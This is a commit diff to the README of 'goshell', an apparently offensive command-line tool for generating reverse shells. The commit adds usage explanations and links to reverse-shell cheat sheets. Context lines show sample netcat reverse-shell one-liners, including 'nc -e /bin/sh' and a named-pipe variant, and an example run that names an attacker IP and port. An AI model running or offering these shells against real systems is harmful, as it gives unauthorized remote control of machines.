upgraded readme with some explainations

README.md

@@ -4,6 +4,7 @@
 Generate reverse shells in command line.
 
 ## Usage
+This panel appears when typing `./goshell -h` :
 ```
 USAGE:
    goshell [global options] command [command options] [arguments...]
@@ -28,6 +29,7 @@ GLOBAL OPTIONS:
 ```
 
 ## Examples
+It is possible to provide the attacker IP address and listening port with the flags `-ip` and `-port`.
 ```
 > ./goshell bash -ip 1.2.3.4 -port 1337                                                                                                            ~/dev/go/goshell
 GoShell - (c)2020 - ezekiel
@@ -42,4 +44,8 @@ Note that those shells may not work on your target !
 #1: nc -e /bin/sh 127.0.0.1 8080
 #2: /bin/sh | nc 127.0.0.1 8080
 #3: rm -f /tmp/p; mknod /tmp/p p && nc 127.0.0.1 8080 0/tmp/p
-```
+```
+
+## Sources
+* [highon.coffee](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
+* [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)